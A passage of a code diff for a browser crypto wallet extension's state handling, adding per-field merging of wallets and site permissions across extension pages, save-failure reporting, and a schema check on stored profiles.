viewStack: state.viewStack,
|
|
||||||
};
|
|
||||||
await storageSet({ autistmask: persisted });
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadState() {
|
function deepEqual(a, b) {
|
||||||
const result = await storageGet("autistmask");
|
if (a === b) return true;
|
||||||
if (result.autistmask) {
|
if (typeof a !== "object" || typeof b !== "object") return false;
|
||||||
const saved = result.autistmask;
|
if (a === null || b === null) return false;
|
||||||
state.wallets = saved.wallets || [];
|
if (Array.isArray(a) !== Array.isArray(b)) return false;
|
||||||
// Derived, never read from storage: a profile persisted with the flag
|
const aKeys = Object.keys(a);
|
||||||
// out of step with the wallet list would otherwise stay broken on
|
const bKeys = Object.keys(b);
|
||||||
// every load. Nothing depends on the two disagreeing.
|
if (aKeys.length !== bKeys.length) return false;
|
||||||
state.hasWallet = state.wallets.length > 0;
|
for (const key of aKeys) {
|
||||||
state.trackedTokens = saved.trackedTokens || [];
|
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
|
||||||
state.networkId = saved.networkId || DEFAULT_STATE.networkId;
|
if (!deepEqual(a[key], b[key])) return false;
|
||||||
state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
|
}
|
||||||
state.blockscoutUrl =
|
return true;
|
||||||
saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
|
}
|
||||||
// An actual object is required, not merely a truthy non-array: the
|
|
||||||
// code below and onChainSwitch() index and ASSIGN INTO this value,
|
// Stable identity for a wallet, independent of its position in the array
|
||||||
// and assigning a property to a string or a number is a silent no-op
|
// (which shifts under a concurrent add/delete elsewhere) and independent of
|
||||||
// in sloppy mode. A stored primitive would therefore be re-persisted
|
// its mutable fields (name is user-editable; addresses gains/loses entries
|
||||||
// unchanged forever, and every switch would fall back to the network
|
// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
|
||||||
// default — the endpoint loss this map exists to prevent, with no
|
// changes for its lifetime and is already enforced unique
|
||||||
// self-healing. The allowedSites/deniedSites guards below are only
|
// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
|
||||||
// read from, which is why they can be looser.
|
// one address for its whole lifetime (nothing ever adds to or removes from
|
||||||
state.networkEndpoints =
|
// a key wallet's address list), and that address is already enforced
|
||||||
typeof saved.networkEndpoints === "object" &&
|
// unique (findWalletByAddress()) — so it stands in for identity there.
|
||||||
saved.networkEndpoints !== null &&
|
// Neither invariant is enforced by this function or by
|
||||||
!Array.isArray(saved.networkEndpoints)
|
// mergeListByIdentity() below — they hold only because every wallet-
|
||||||
? saved.networkEndpoints
|
// creation path in addWallet.js happens to populate one or the other before
|
||||||
: {};
|
// the wallet ever reaches state.wallets, and because canRemoveAddress() in
|
||||||
// A profile written before this map existed carries exactly one pair
|
// walletDelete.js never lets a wallet's address list go to zero. A wallet
|
||||||
// of endpoints, belonging to whatever network it was last on. Adopt
|
// with neither (an empty/legacy/corrupt record) falls back to the same
|
||||||
// it as that network's remembered pair, so a custom endpoint set on
|
// "addr:" identity as every other such record, which is a genuine
|
||||||
// the old build is not lost by the first switch away and back.
|
// collision, not a proxy for one — see the collision handling in
|
||||||
if (!state.networkEndpoints[state.networkId]) {
|
// mergeListByIdentity().
|
||||||
state.networkEndpoints[state.networkId] = {
|
function walletIdentity(wallet) {
|
||||||
rpcUrl: state.rpcUrl,
|
if (wallet.xpub) return "xpub:" + wallet.xpub;
|
||||||
blockscoutUrl: state.blockscoutUrl,
|
const first = wallet.addresses && wallet.addresses[0];
|
||||||
};
|
return "addr:" + (first ? String(first.address).toLowerCase() : "");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stable identity for an address within one wallet's address list. An
|
||||||
|
// address is unique within its wallet and, once derived or imported, never
|
||||||
|
// changes — only whether it is present.
|
||||||
|
function addressIdentity(addr) {
|
||||||
|
return String(addr.address).toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Merge one array of identity-bearing objects (wallets, or the addresses
|
||||||
|
// inside one wallet) by identity rather than by array index — an index
|
||||||
|
// shifts under a concurrent insert/delete elsewhere, which would merge the
|
||||||
|
// wrong pair of objects entirely.
|
||||||
|
//
|
||||||
|
// `theirs` (fresh storage) sets the membership baseline and the order:
|
||||||
|
// - An item this page never had baseline knowledge of, but that is in
|
||||||
|
// `theirs`, was added by someone else — kept as-is.
|
||||||
|
// - An item `base` had and `ours` no longer has was deleted by THIS page
|
||||||
|
// — dropped even though `theirs` still has it (this page's own delete
|
||||||
|
// must win over a background save that only touched leaf fields).
|
||||||
|
// - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
|
||||||
|
// `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
|
||||||
|
// on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
|
||||||
|
// Anything left in `ours` that `base` never had and `theirs` does not have
|
||||||
|
// yet is this page's own new addition — appended.
|
||||||
|
//
|
||||||
|
// `identityOf` is not guaranteed collision-free (walletIdentity() falls
|
||||||
|
// back to one shared "addr:" value for any wallet with neither an xpub nor
|
||||||
|
// a populated first address). Two records that collide under it must never
|
||||||
|
// silently collapse into one — that is exactly how this function used to
|
||||||
|
// drop a wallet, encryptedSecret included, with no error and no log. Two
|
||||||
|
// defenses:
|
||||||
|
// - `ours` is indexed into GROUPS, not a single item per identity, so two
|
||||||
|
// colliding live items on this page can't overwrite each other in the
|
||||||
|
// index before the merge below even runs.
|
||||||
|
// - A matched pair with no shared `base` entry (neither page ever agreed
|
||||||
|
// on this identity) is only merged leaf-by-leaf when the two sides are
|
||||||
|
// already equal. If they differ, that is not "the same record edited
|
||||||
|
// twice", it is two different records that happen to share an identity
|
||||||
|
// — both are kept, unmerged, rather than guessing which one is real.
|
||||||
|
function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
|
||||||
|
base = base || [];
|
||||||
|
ours = ours || [];
|
||||||
|
theirs = theirs || [];
|
||||||
|
const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
|
||||||
|
const oursIndex = new Map();
|
||||||
|
for (const item of ours) {
|
||||||
|
const id = identityOf(item);
|
||||||
|
if (!oursIndex.has(id)) oursIndex.set(id, []);
|
||||||
|
oursIndex.get(id).push(item);
|
||||||
|
}
|
||||||
|
|
||||||
|
const result = [];
|
||||||
|
const seen = new Set();
|
||||||
|
|
||||||
|
for (const theirItem of theirs) {
|
||||||
|
const id = identityOf(theirItem);
|
||||||
|
seen.add(id);
|
||||||
|
const oursGroup = oursIndex.get(id);
|
||||||
|
if (baseIndex.has(id) && !oursGroup) continue;
|
||||||
|
if (oursGroup) {
|
||||||
|
const baseItem = baseIndex.get(id);
|
||||||
|
if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
|
||||||
|
log.errorf(
|
||||||
|
"state: identity collision merging",
|
||||||
|
JSON.stringify(id),
|
||||||
|
"- keeping both records instead of dropping one",
|
||||||
|
);
|
||||||
|
result.push(theirItem, ...oursGroup);
|
||||||
|
} else {
|
||||||
|
result.push(mergeItem(baseItem, oursGroup[0], theirItem));
|
||||||
|
for (let i = 1; i < oursGroup.length; i++) {
|
||||||
|
result.push(oursGroup[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
result.push(theirItem);
|
||||||
}
|
}
|
||||||
state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
|
}
|
||||||
state.activeAddress = saved.activeAddress || null;
|
|
||||||
state.allowedSites =
|
for (const item of ours) {
|
||||||
saved.allowedSites && !Array.isArray(saved.allowedSites)
|
const id = identityOf(item);
|
||||||
? saved.allowedSites
|
if (seen.has(id)) continue;
|
||||||
: {};
|
if (!baseIndex.has(id)) result.push(item);
|
||||||
state.deniedSites =
|
}
|
||||||
saved.deniedSites && !Array.isArray(saved.deniedSites)
|
|
||||||
? saved.deniedSites
|
return result;
|
||||||
: {};
|
}
|
||||||
state.rememberSiteChoice =
|
|
||||||
saved.rememberSiteChoice !== undefined
|
// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
|
||||||
? saved.rememberSiteChoice
|
// ...) against base, then recurse into its address list by identity. `base`
|
||||||
: true;
|
// is null when this page created the wallet itself and no other page has
|
||||||
state.showZeroBalanceTokens =
|
// (yet) produced a same-identity record — nothing to merge in that case,
|
||||||
saved.showZeroBalanceTokens !== undefined
|
// this page's own copy wins outright. mergeListByIdentity() only ever calls
|
||||||
? saved.showZeroBalanceTokens
|
// this with `!base` when `ours` and `theirs` are already equal (a genuine
|
||||||
: true;
|
// collision between two DIFFERENT same-identity records is caught and kept
|
||||||
// A profile written before this setting existed has no key for it.
|
// as two separate entries before this function is reached), so returning
|
||||||
// It is a safety filter, so absent must load as on, not as undefined.
|
// `ours` here can't discard a different wallet's data.
|
||||||
state.hideSpoofedSymbols =
|
function mergeWallet(base, ours, theirs) {
|
||||||
saved.hideSpoofedSymbols !== undefined
|
if (!base) return ours;
|
||||||
? saved.hideSpoofedSymbols
|
const merged = { ...theirs };
|
||||||
: true;
|
for (const key of Object.keys(ours)) {
|
||||||
state.hideLowHolderTokens =
|
if (key === "addresses") continue;
|
||||||
saved.hideLowHolderTokens !== undefined
|
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||||
? saved.hideLowHolderTokens
|
}
|
||||||
: true;
|
merged.addresses = mergeListByIdentity(
|
||||||
state.hideFraudContracts =
|
base.addresses,
|
||||||
saved.hideFraudContracts !== undefined
|
ours.addresses,
|
||||||
? saved.hideFraudContracts
|
theirs.addresses,
|
||||||
: true;
|
addressIdentity,
|
||||||
state.hideDustTransactions =
|
mergeAddress,
|
||||||
saved.hideDustTransactions !== undefined
|
);
|
||||||
? saved.hideDustTransactions
|
return merged;
|
||||||
: true;
|
}
|
||||||
state.dustThresholdGwei =
|
|
||||||
saved.dustThresholdGwei !== undefined
|
// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
|
||||||
? saved.dustThresholdGwei
|
// tokenBalances is itself an array, but only a balance refresh ever writes
|
||||||
: 100000;
|
// it and always wholesale (refreshBalances() in src/shared/balances.js), so
|
||||||
state.utcTimestamps =
|
// there is no membership to reconcile within it — it is a leaf like balance
|
||||||
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
|
// or ensName, not a list with its own identity.
|
||||||
state.fraudContracts = saved.fraudContracts || [];
|
function mergeAddress(base, ours, theirs) {
|
||||||
state.tokenHolderCache = saved.tokenHolderCache || {};
|
if (!base) return ours;
|
||||||
state.theme = saved.theme || "system";
|
const merged = { ...theirs };
|
||||||
state.debugMode =
|
for (const key of Object.keys(ours)) {
|
||||||
saved.debugMode !== undefined ? saved.debugMode : false;
|
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||||
state.currentView = saved.currentView || null;
|
}
|
||||||
state.selectedWallet =
|
return merged;
|
||||||
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
|
}
|
||||||
state.selectedAddress =
|
|
||||||
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
|
// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
|
||||||
state.selectedToken = saved.selectedToken || null;
|
// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
|
||||||
state.viewData = saved.viewData || {};
|
// same way mergeListByIdentity() merges an array — by key, not by whole-
|
||||||
state.viewStack = restorableStack(saved.viewStack, state.currentView);
|
// object diff — so a key one page added or removed applies independently of
|
||||||
|
// a key another page edited. Unlike an array's identity function, an object
|
||||||
|
// key can't collide with a different logical entry (Object.keys() is
|
||||||
|
// already deduplicated), so this needs no collision floor of its own.
|
||||||
|
//
|
||||||
|
// Every write goes through defineProperty rather than assignment. The keys are
|
||||||
|
// whatever the stored record carries, and plain assignment of "__proto__" —
|
||||||
|
// which JSON can carry and normalizePersisted() keeps for networkEndpoints —
|
||||||
|
// replaces this object's prototype and records no entry. That would undo one
|
||||||
|
// layer downstream exactly what defineOwn() does in
|
||||||
|
// src/shared/persistedState.js.
|
||||||
|
function mergeMapByKey(base, ours, theirs, mergeLeaf) {
|
||||||
|
base = base || {};
|
||||||
|
ours = ours || {};
|
||||||
|
theirs = theirs || {};
|
||||||
|
const result = {};
|
||||||
|
const seen = new Set();
|
||||||
|
const put = (key, value) =>
|
||||||
|
Object.defineProperty(result, key, {
|
||||||
|
value: value,
|
||||||
|
writable: true,
|
||||||
|
enumerable: true,
|
||||||
|
configurable: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
for (const key of Object.keys(theirs)) {
|
||||||
|
seen.add(key);
|
||||||
|
const inBase = Object.prototype.hasOwnProperty.call(base, key);
|
||||||
|
const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
|
||||||
|
if (inBase && !inOurs) continue; // this page deleted the whole entry
|
||||||
|
if (inOurs) {
|
||||||
|
put(key, mergeLeaf(base[key], ours[key], theirs[key]));
|
||||||
|
} else {
|
||||||
|
put(key, theirs[key]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const key of Object.keys(ours)) {
|
||||||
|
if (seen.has(key)) continue;
|
||||||
|
if (!Object.prototype.hasOwnProperty.call(base, key)) {
|
||||||
|
put(key, ours[key]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
|
||||||
|
// list is itself membership, not a leaf — the background appends a newly
|
||||||
|
// approved/denied hostname to it, and the Settings "revoke" button
|
||||||
|
// (src/popup/views/settings.js) filters a hostname out of it in place, from a
|
||||||
|
// different page. Merge it the same way wallets are merged: identity is the
|
||||||
|
// hostname itself, so a merged pair is always equal and mergeItem is a no-op
|
||||||
|
// pick.
|
||||||
|
function mergeHostnameList(base, ours, theirs) {
|
||||||
|
return mergeListByIdentity(
|
||||||
|
base,
|
||||||
|
ours,
|
||||||
|
theirs,
|
||||||
|
(hostname) => hostname,
|
||||||
|
(b, o, t) => t,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function mergeSiteMap(base, ours, theirs) {
|
||||||
|
return mergeMapByKey(base, ours, theirs, mergeHostnameList);
|
||||||
|
}
|
||||||
|
|
||||||
|
// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
|
||||||
|
// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
|
||||||
|
// networkEndpoints[networkId] in place before saving. No code path ever
|
||||||
|
// removes a key from this map, so the membership collision that matters for
|
||||||
|
// allowedSites/wallets (an add on one page racing a delete on another) can't
|
||||||
|
// happen here — but two pages switching to two different networks
|
||||||
|
// concurrently still race a whole-field diff the same way, so it gets the same
|
||||||
|
// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
|
||||||
|
// for the active network).
|
||||||
|
function mergeEndpointEntry(base, ours, theirs) {
|
||||||
|
if (!base) return ours;
|
||||||
|
const merged = { ...theirs };
|
||||||
|
for (const key of Object.keys(ours)) {
|
||||||
|
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
|
||||||
|
}
|
||||||
|
return merged;
|
||||||
|
}
|
||||||
|
|
||||||
|
function mergeNetworkEndpoints(base, ours, theirs) {
|
||||||
|
return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Read-modify-write, merged per field, rather than one full-blob write.
|
||||||
|
//
|
||||||
|
// Every extension page (the toolbar popup, a dApp approval window) holds its
|
||||||
|
// own in-memory `state`, loaded once, and showView() saves on every
|
||||||
|
// navigation. A full-blob write here clobbers whatever a second page had
|
||||||
|
// written since — including, in the worst case, an entire wallet and its
|
||||||
|
// encrypted secret with no attacker and no unusual input (see the issue this
|
||||||
|
// fixes).
|
||||||
|
//
|
||||||
|
// Only the fields this page actually changed — those that differ from
|
||||||
|
// `baseline`, captured at the last loadState()/saveState() on this page —
|
||||||
|
// are written; every other field is carried forward from whatever is in
|
||||||
|
// storage right now, which may already be a value another page wrote.
|
||||||
|
//
|
||||||
|
// `wallets` is merged structurally (mergeListByIdentity(), by wallet
|
||||||
|
// identity and then by address identity within each wallet), not as one
|
||||||
|
// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
|
||||||
|
// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
|
||||||
|
// would mark all of `wallets` "changed" the moment any balance moved and
|
||||||
|
// write back that page's own copy — loaded before its multi-second network
|
||||||
|
// round trip — clobbering a wallet another page added, or resurrecting one
|
||||||
|
// another page deleted, in that window. Merging by identity lets the leaf
|
||||||
|
// changes and another page's membership changes (add/delete a wallet or an
|
||||||
|
// address) apply independently instead of colliding as the same field.
|
||||||
|
//
|
||||||
|
// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
|
||||||
|
// by address key and then by hostname within each address's list), for the
|
||||||
|
// identical reason: the background appends a newly approved/denied hostname
|
||||||
|
// to them, and the Settings "revoke" button (src/popup/views/settings.js)
|
||||||
|
// filters one out in place, from a different page. A whole-field diff here
|
||||||
|
// doesn't just lose data, it is a security defect — a stale page's save can
|
||||||
|
// resurrect a just-revoked site permission, or silently wipe a permission just
|
||||||
|
// granted elsewhere.
|
||||||
|
//
|
||||||
|
// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
|
||||||
|
// by network id), since applyChainSwitchFields() writes into it in place; the
|
||||||
|
// value per key is a small leaf object with no membership of its own; see the
|
||||||
|
// comment at mergeEndpointEntry() for why the collision this closes is
|
||||||
|
// milder than the other two.
|
||||||
|
//
|
||||||
|
// Every other persisted field stays a whole-field diff:
|
||||||
|
// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
|
||||||
|
// per-element identity to merge by; `tokenHolderCache` is a map shaped like
|
||||||
|
// the ones above, but nothing in src/ ever writes an entry into it — it is
|
||||||
|
// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
|
||||||
|
// no in-place mutation for a whole-field diff to collide with; `viewData` is
|
||||||
|
// this page's own UI scratch space, not data another page has any reason to
|
||||||
|
// share membership of.
|
||||||
|
//
|
||||||
|
// This does not make two pages that both change the SAME leaf concurrently
|
||||||
|
// safe: last write wins on that one leaf, same as before. What it removes
|
||||||
|
// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
|
||||||
|
// that only navigated, or only refreshed a balance, overwriting a wallet or
|
||||||
|
// address list it never touched the membership of.
|
||||||
|
//
|
||||||
|
// This page's own live `state` is deliberately NOT rehydrated from a field
|
||||||
|
// another page changed — only the record written to storage is merged.
|
||||||
|
// showView() fires saveState() on every navigation without awaiting it,
|
||||||
|
// which is what makes the queue above necessary in the first place, and a
|
||||||
|
// save that is slow to come back has no way to tell whether the field it
|
||||||
|
// is about to hand back is still the current answer or has since been
|
||||||
|
// overtaken by something this very page did in the meantime; writing it
|
||||||
|
// into `state` regardless reintroduced exactly the clobber this function
|
||||||
|
// exists to remove, just delayed and confined to one page instead of two
|
||||||
|
// (caught by tests/txStatus.test.js). A page's live picture of a field it
|
||||||
|
// does not own goes on being whatever its last loadState() saw, same as
|
||||||
|
// before this fix; only the persisted record is guaranteed current.
|
||||||
|
async function saveStateOnce() {
|
||||||
|
const current = snapshotPersisted();
|
||||||
|
const result = await storageGet("autistmask");
|
||||||
|
// The record in storage right now is about to be merged into and written
|
||||||
|
// back, so it is validated exactly like a load validates it. Without this,
|
||||||
|
// a page whose own load succeeded would normalize a record it does not
|
||||||
|
// understand — one a NEWER build wrote in the meantime, say — and write
|
||||||
|
// the result back over it, destroying the only copy of whatever that
|
||||||
|
// record held. Refusing is louder than that and loses nothing: the live
|
||||||
|
// state is untouched and the next save retries.
|
||||||
|
assertStateUsable(result.autistmask);
|
||||||
|
// Normalized, not raw: a field this page did not change still has to
|
||||||
|
// come from storage in its loaded (self-healed) shape. See
|
||||||
|
// normalizePersisted() in persistedState.js.
|
||||||
|
const fresh = normalizePersisted(result.autistmask);
|
||||||
|
|
||||||
|
const merged = { ...fresh };
|
||||||
|
for (const key of PERSISTED_FIELDS) {
|
||||||
|
if (key === "wallets") {
|
||||||
|
merged.wallets = mergeListByIdentity(
|
||||||
|
baseline ? baseline.wallets : [],
|
||||||
|
current.wallets,
|
||||||
|
fresh.wallets,
|
||||||
|
walletIdentity,
|
||||||
|
mergeWallet,
|
||||||
|
);
|
||||||
|
} else if (key === "allowedSites" || key === "deniedSites") {
|
||||||
|
merged[key] = mergeSiteMap(
|
||||||
|
baseline ? baseline[key] : {},
|
||||||
|
current[key],
|
||||||
|
fresh[key],
|
||||||
|
);
|
||||||
|
} else if (key === "networkEndpoints") {
|
||||||
|
merged.networkEndpoints = mergeNetworkEndpoints(
|
||||||
|
baseline ? baseline.networkEndpoints : {},
|
||||||
|
current.networkEndpoints,
|
||||||
|
fresh.networkEndpoints,
|
||||||
|
);
|
||||||
|
} else if (
|
||||||
|
baseline === null ||
|
||||||
|
!deepEqual(current[key], baseline[key])
|
||||||
|
) {
|
||||||
|
merged[key] = current[key];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
|
||||||
|
// Stamped on every write, never merged or diffed: the record that goes to
|
||||||
|
// storage is in THIS build's shape whatever shape it was read in, which is
|
||||||
|
// what migrates the unversioned records every install in the field holds.
|
||||||
|
merged.schemaVersion = STATE_SCHEMA_VERSION;
|
||||||
|
|
||||||
|
await storageSet({ autistmask: merged });
|
||||||
|
|
||||||
|
// Derived from this page's own wallets, never adopted off the wire —
|
||||||
|
// see loadState(). Everything else this page did not change is left
|
||||||
|
// exactly as it stood; see the note above.
|
||||||
|
rawState.hasWallet = rawState.wallets.length > 0;
|
||||||
|
|
||||||
|
baseline = structuredClone(snapshotPersisted());
|
||||||
|
}
|
||||||
|
|
||||||
|
// showView() calls saveState() on every navigation without awaiting it, so
|
||||||
|
// two saves from the SAME page can be in flight at once — e.g. a screen
|
||||||
|
// shown, then immediately replaced before the first save's storageGet()
|
||||||
|
// round trip has come back. Left concurrent, the first save's turn would
|
||||||
|
// finish after the second's live-state mutation and then re-hydrate `state`
|
||||||
|
// from what IT read, stomping the second, later change back to a stale
|
||||||
|
// value — the same clobber this function exists to prevent, just between
|
||||||
|
// two saves on one page instead of two pages. Queuing makes every save's
|
||||||
|
// snapshot-diff-write-rehydrate run start to finish before the next one
|
||||||
|
// begins, so each one only ever sees the true live state at its turn.
|
||||||
|
let saveQueue = Promise.resolve();
|
||||||
|
|
||||||
|
// Where a failed save is REPORTED, set once by the context that has a screen
|
||||||
|
// to say it on (src/popup/index.js).
|
||||||
|
//
|
||||||
|
// A save that fails must not fail silently. showView() fires saveState() on
|
||||||
|
// every navigation without awaiting it, and the queue below has to attach a
|
||||||
|
// rejection handler to keep advancing — so a failing save was swallowed
|
||||||
|
// entirely: no throw, no message, nothing on screen. The wallet kept running
|
||||||
|
// against storage that was rejecting every write, which is the data-loss half
|
||||||
|
// of https://git.eeqj.de/sneak/AutistMask/issues/362. The awaited callers were
|
||||||
|
// no better off: `await saveState()` inside an unguarded event handler surfaces
|
||||||
|
// in the console and nowhere the user looks.
|
||||||
|
//
|
||||||
|
// This is the "tell the user" half; the other half is the floor in
|
||||||
|
// normalizePersisted(), which stops the malformed-record cause from arising in
|
||||||
|
// the first place. Both, because a floor only covers the causes it knows about
|
||||||
|
// and storage can still fail for reasons of its own (quota, a revoked
|
||||||
|
// permission, a record a newer build wrote).
|
||||||
|
let saveFailureHandler = null;
|
||||||
|
|
||||||
|
function onSaveFailure(fn) {
|
||||||
|
saveFailureHandler = fn;
|
||||||
|
}
|
||||||
|
|
||||||
|
function reportSaveFailure(err) {
|
||||||
|
log.errorf("state: saving failed, changes were NOT persisted:", err);
|
||||||
|
if (!saveFailureHandler) return;
|
||||||
|
try {
|
||||||
|
saveFailureHandler(err);
|
||||||
|
} catch (e) {
|
||||||
|
// The reporter is the last thing standing between a failed save and
|
||||||
|
// silence; a reporter that throws must not become an unhandled
|
||||||
|
// rejection of its own on top of it.
|
||||||
|
log.errorf("state: the save-failure reporter itself failed:", e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function saveState() {
|
||||||
|
const turn = saveQueue.then(saveStateOnce);
|
||||||
|
// The queue must advance even when a save rejects, or every save after
|
||||||
|
// it queues behind a promise that never settles.
|
||||||
|
saveQueue = turn.catch(() => {});
|
||||||
|
// Every failed save is reported, whether or not the caller awaited this
|
||||||
|
// one. The returned promise still rejects, so a caller that DOES await
|
||||||
|
// keeps its own error handling.
|
||||||
|
turn.catch(reportSaveFailure);
|
||||||
|
return turn;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rejects with StateUnusableError for a stored record this build cannot make
|
||||||
|
// sense of. Nothing is assigned and `loaded` stays false in that case, so a
|
||||||
|
// caller that ignores the rejection gets StateNotLoadedError on the first
|
||||||
|
// read rather than a half-populated profile. The caller that does NOT ignore
|
||||||
|
// it is the popup entry point, which shows the recovery screen
|
||||||
|
// (src/popup/views/stateRecovery.js) instead of proceeding.
|
||||||
|
async function loadState() {
|
||||||
|
const result = await storageGet("autistmask");
|
||||||
|
// Before normalization, on the raw bytes: normalizing first would paper
|
||||||
|
// over the very shapes this refuses, which is how a corrupt record used to
|
||||||
|
// reach the popup and blank it (issue #311).
|
||||||
|
assertStateUsable(result.autistmask);
|
||||||
|
if (migrationNeeded(result.autistmask)) {
|
||||||
|
log.infof(
|
||||||
|
"state: migrating an unversioned profile to schema version",
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (result.autistmask) {
|
||||||
|
Object.assign(rawState, normalizePersisted(result.autistmask));
|
||||||
|
}
|
||||||
|
// Whether storage had a profile or was empty, this context has now read
|
||||||
|
// it, and the defaults standing in for an empty profile are the right
|
||||||
|
// answer rather than a stand-in for one nobody looked for.
|
||||||
|
loaded = true;
|
||||||
|
// The point of comparison every saveState() on this page diffs against.
|
||||||
|
// See PERSISTED_FIELDS in persistedState.js for why a reference here
|
||||||
|
// would be wrong.
|
||||||
|
baseline = structuredClone(snapshotPersisted());
|
||||||
|
}
|
||||||
|
|
||||||
|
// Through the guarded proxy, not rawState: a caller asking which address is
|
||||||
|
// selected before anything was loaded gets the same loud failure it would get
|
||||||
|
// reading the fields itself.
|
||||||
function currentAddress() {
|
function currentAddress() {
|
||||||
if (state.selectedWallet === null || state.selectedAddress === null) {
|
if (state.selectedWallet === null || state.selectedAddress === null) {
|
||||||
return null;
|
return null;
|
||||||
@@ -229,7 +628,9 @@ function currentAddress() {
|
|||||||
module.exports = {
|
module.exports = {
|
||||||
state,
|
state,
|
||||||
saveState,
|
saveState,
|
||||||
|
onSaveFailure,
|
||||||
loadState,
|
loadState,
|
||||||
currentAddress,
|
currentAddress,
|
||||||
currentNetwork,
|
currentNetwork,
|
||||||
|
StateNotLoadedError,
|
||||||
};
|
};
|
||||||
|
|||||||
286
src/shared/stateSchema.js
Normal file
286
src/shared/stateSchema.js
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
// The version stamped on the stored profile, and the shape check every read
|
||||||
|
// of one goes through.
|
||||||
|
//
|
||||||
|
// Storage is the one input to this extension that nobody validated. A profile
|
||||||
|
// carried no version at all, so there was no way to tell a record this build
|
||||||
|
// understands from one a later build wrote, and loadState() coerced scalars
|
||||||
|
// while trusting the structure — so a `wallets` that was a string, or an array
|
||||||
|
// of nulls, or a later schema's wallet records, reached the popup and threw on
|
||||||
|
// the first dereference. The popup rendered NOTHING: no view, no message, no
|
||||||
|
// control, and no way out from inside the product
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||||
|
//
|
||||||
|
// Two separate jobs, deliberately not merged:
|
||||||
|
//
|
||||||
|
// stateProblem() / assertStateUsable() refuse a record this build cannot
|
||||||
|
// safely reason about, loudly, naming the problem in a
|
||||||
|
// sentence that goes on screen. This is the gate.
|
||||||
|
// normalizePersisted() (persistedState.js) self-heal a record that IS
|
||||||
|
// usable: absent fields, legacy shapes, out-of-range flags.
|
||||||
|
//
|
||||||
|
// The gate runs FIRST, on the raw stored bytes, before normalization has a
|
||||||
|
// chance to paper over a record whose meaning nobody can vouch for. A blob
|
||||||
|
// that fails it is left in storage untouched — it is the user's only copy of
|
||||||
|
// whatever it holds, and the recovery screen exports it before offering to
|
||||||
|
// erase it.
|
||||||
|
//
|
||||||
|
// What is checked HERE is what nothing downstream can floor: the wallet list,
|
||||||
|
// the version, and the network id that keys an object. Every other field is
|
||||||
|
// normalizePersisted()'s to make safe, and what that function does is NOT
|
||||||
|
// uniform across the record.
|
||||||
|
//
|
||||||
|
// WHICH FLOOR A GIVEN FIELD HAS IS NOT WRITTEN HERE. It is
|
||||||
|
// tests/persistedFieldContract.test.js: one row per persisted field, naming
|
||||||
|
// the property that field's floor is claimed to have, and PROVING it by
|
||||||
|
// driving the real code with hostile values — the gate for a field the gate
|
||||||
|
// refuses, normalizePersisted() for a field it floors, and, for a field whose
|
||||||
|
// only defence is that nothing dereferences it structurally, a boot of the
|
||||||
|
// real popup entry point onto EVERY view the popup can reopen onto.
|
||||||
|
//
|
||||||
|
// That last part is the whole point, because this defect class lives on the
|
||||||
|
// RESTORE path and not on Home: whenever one of those boots reaches a
|
||||||
|
// structural dereference on the view it restored onto, that suite goes red —
|
||||||
|
// including a dereference that takes two corrupted fields at once, since the
|
||||||
|
// verdict is the combined boot and the per-field re-boot that names a culprit
|
||||||
|
// can only decorate the message. Each swept field is driven at both
|
||||||
|
// polarities, or proven unable to be falsy after the floor: a value nothing
|
||||||
|
// writes is wrong-typed and so truthy, which would otherwise leave every
|
||||||
|
// `if (!state.x)` branch unentered. So does a field that gains a floor while
|
||||||
|
// its row still claims it has none, and a field added to PERSISTED_FIELDS with
|
||||||
|
